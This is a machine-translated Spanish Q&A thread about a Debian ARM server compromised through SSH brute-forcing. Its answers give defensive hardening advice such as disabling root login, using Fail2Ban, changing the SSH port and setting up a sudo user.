Suponiendo que está en una línea de tiempo para completar su trabajo remunerado, al menos haga # 1. # 3 es rápido y barato, pero tendrá que esperar en el paquete por correo o ir a la tienda.


11



Y, sobre todo, ¡no deje su PC funcionando desatendida con una sesión de raíz abierta! - MariusMatutiae


  1. Es debian-armhf tu nombre de host? ¿O usas una instalación predeterminada con la configuración predeterminada? No hay problema con eso, pero no debe permitir que el host se exponga directamente a Internet (es decir, que no esté protegido por su módem, al menos).

  2. Parece que el verdadero problema proviene de 222.186.30.209 (ver http://anti-hacker-alliance.com/index.php?ip=222.186.30.209) No debes prestar mucha atención a ver la IP de Microsoft. Los IP pueden ser más o menos falsificados / falsificados fácilmente.

  3. Una forma habitual de conectarse a Internet es reenviar una lista conocida de puertos desde su IP pública (por ejemplo, 8.8.8.8) a su localidad (por ejemplo, 192.168.1.12).

    • Por ejemplo, no reenvíe todas las conexiones entrantes desde 8.8.8.8 (público) a 192.168.1.12 (local).

    • Forward only ports 22 y 25 (ssh y correo entrante, respectivamente). Deberías, por supuesto, tener actualizado ssh y smtp paquetes / bibliotecas también.

  4. ¿Que sigue? Desconecte el host y cambie las contraseñas (en cualquier computadora asociada a la organización) que estén codificadas en los scripts de shell (¡qué vergüenza para usted!) /etc/shadow.


11



1. Sí debian-armhf es el nombre de host 2. Sí, he leído ese artículo y me puse en contacto con Microsoft a través de su sitio web cest.microsoft.com. 3. Solo había enviado 25 y 22, no había nada más reenviado. 4. Haré eso - vaid
"IP puede ser falso más o menos fácil": no soy un experto en seguridad ni en redes. ¿Cómo es eso posible? - kevinarpe
@kevinarpe Eso probablemente sea mucho mejor como una pregunta separada. - Michael Kjörling
ver stackoverflow.com/questions/5180557/... y superuser.com/questions/37687/... - Archemar
@Archemar: SSH es TCP; falsificar la fuente de TCP es difícil, si no imposible. Además, como se estableció anteriormente, el IP de Microsoft pertenece a su servicio en la nube Azure, lo que significa que cualquiera podría haber estado comprando tiempo en el servicio para atacar a otros. - nneonneo


Como otros dijeron, es bastante claro que la seguridad de su servidor se ha visto comprometida. Lo más seguro es limpiar esta máquina y volver a instalarla.

Para responder a la segunda parte de su pregunta, si no puede usar la autenticación de clave pública, le recomiendo al menos configurar Fail2Ban y ejecutar SSH en un puerto no estándar. También deshabilito el acceso raíz a SSH.

Fail2Ban ayudará a mitigar los ataques de fuerza bruta al prohibir las direcciones IP que no se pueden iniciar en un cierto número de veces.

Configurar sshd para que escuche en un puerto no estándar al menos ayudará a reducir un poco la visibilidad de su servidor SSH. Al deshabilitar el inicio de sesión raíz también se reduce ligeramente el perfil de ataque. En /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Con el inicio de sesión de raíz desactivado, deberá cambiar a la raíz con su una vez que haya conectado, o (más preferiblemente) use sudo para ejecutar comandos privilegiados.


9



He hecho ambas cosas, gracias por el consejo. - vaid


Los servidores SSH están constantemente bajo ataque en internet. Un par de cosas que haces:

  1. Asegúrese de utilizar una contraseña aleatoria muy segura para las máquinas con acceso a Internet. Me refiero a 16 caracteres o más y completamente al azar. Use un administrador de contraseñas para que no tenga que memorizarlo. Si puedes memorizar tu contraseña, es demasiado simple.

  2. Si no necesita SSH, apáguelo. Si lo necesita, pero no lo necesita de acceso público, ejecútelo en un número de puerto alto y no estándar. Hacer esto reducirá drásticamente los intentos de pirateo. Sí, un hacker dedicado puede hacer un escaneo de puertos, pero los robots automatizados no lo encontrarán.

El fragmento de su registro de autenticación muestra un intento fallido. Sin embargo, si mira más allá, verá sin duda un inicio de sesión exitoso. Si usas una contraseña simple, entonces es trivial que un robot entre.

Debe aislar esta máquina de la red. Con mucho cuidado, obtenga lo que necesita de él y luego límpielo.


8



Cuando solía ejecutar ssh en el puerto 22, normalmente tenía miles de intentos de piratería por día. Cuando cambié a un número de puerto alto (más de 50000), estos intentos de pirateo se detenían por completo. - user1751825
16 caracteres no es lo suficientemente seguro. El cierre de sesión del usuario también es útil. Simplemente no lo convierta en un bloqueo permanente, hágalo caducar, pero haga que sea algo así como una hora. De esta forma, aún puede acceder al servidor. - Ramhound
Tenga en cuenta que el paso 2) no es estrictamente necesario para la seguridad, siempre que tenga una autenticación fuerte (clave pública o contraseña segura). - user20574
@Ramhound ¿Por qué no? Incluso si solo fueran letras minúsculas, 16 letras minúsculas dan 43608742899428874059776 posibilidades, lo que no es práctico para la fuerza bruta, especialmente para una fuerza bruta en línea donde el servidor lo hace esperar cada vez que falla un intento. - user20574
@ user20574. Si bien no es estrictamente necesario, la reducción de la visibilidad del servicio SSH sigue siendo muy útil. Aunque no sea por otra razón que eliminar el desorden de sus registros. Si una máquina solo necesita ser accesible para un grupo limitado de personas, entonces un puerto no estándar es un paso perfectamente razonable para mejorar la seguridad. - user1751825


Lo primero que cualquiera / todos deberían hacer después de configurar un servidor Linux / Unix frontal es deshabilitar inmediatamente root.

Tu sistema fue comprometido Usted tiene un registro del historial en ejecución que podría ser interesante de ver en cierta medida. Pero diseccionar honestamente los detalles es un poco quisquilloso y no lo ayudará a proteger su servidor. Muestra todo tipo de tonterías que suceden cuando botnet genera malware, que probablemente sea lo que infectó su servidor, infecta un sistema Linux. los respuesta proporcionada por @MariusMatutiae es agradable y bien pensado y hay otros que repiten que fuiste pirateado a través de root acceso que es el sueño húmedo de un malware / botnet.

Hay algunas explicaciones sobre cómo deshabilitar root pero lo afirmaré por experiencia personal, la mayoría de las cosas que van más allá de lo que describiré en este momento son excesivas. Esto es lo que tú debería hecho cuando configuró el servidor por primera vez:

  1. Crea un nuevo usuario con sudo derechos: Crea un nuevo usuario con un nuevo nombre, algo así como cooldude-Utilizando un comando como sudo adduser cooldude si está utilizando Ubuntu u otro tipo de sistema Debian. Luego edite manualmente el sudo archivo usando un comando como este sudo nano /etc/sudoers y agrega una línea como cooldude ALL=(ALL:ALL) ALL debajo de la línea equivalente que debería leer root ALL=(ALL:ALL) ALL. Una vez hecho esto, inicie sesión como cooldude y prueba el sudo comando con un comando como sudo w-Algo básico y no destructivo-para ver si el sudo trabajo por los derechos Es posible que se le pida una contraseña. ¿Eso funciona? ¡Todo bien! Avanza al siguiente paso.
  2. Bloquear el root cuenta: Bien, ahora que cooldude está a cargo de sudo derechos, inicie sesión como cooldude y ejecuta este comando para bloquear la cuenta raíz sudo passwd -l root. Si de alguna manera ha creado un par de claves SSH para root, abrir /root/.ssh/authorized_keys y quita las llaves O mejor aún, simplemente cambie el nombre de ese archivo authorized_keys_OFF Me gusta esto, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF para deshabilitar efectivamente las claves SSH. Prefiero el último porque en la oportunidad remota aún necesitas contraseña con menos inicio de sesión, solo puedes mover ese archivo al nombre original y deberías estar listo para continuar.

FWIW, he administrado docenas de servidores Linux a lo largo de los años (¿décadas?) Y sé por experiencia que simplemente deshabilitan rootY configurar un nuevo usuario con sudo derechos-es la forma más simple y básica de proteger cualquier sistema Linux. Nunca tuve que lidiar con ningún tipo de compromiso a través de SSH una vez root está desactivado. Y sí, es posible que vea intentos de iniciar sesión a través del auth.log pero no tienen sentido; Si root está desactivado, esos intentos nunca se sumarán a nada. ¡Solo siéntese y vea los intentos sin fin!


6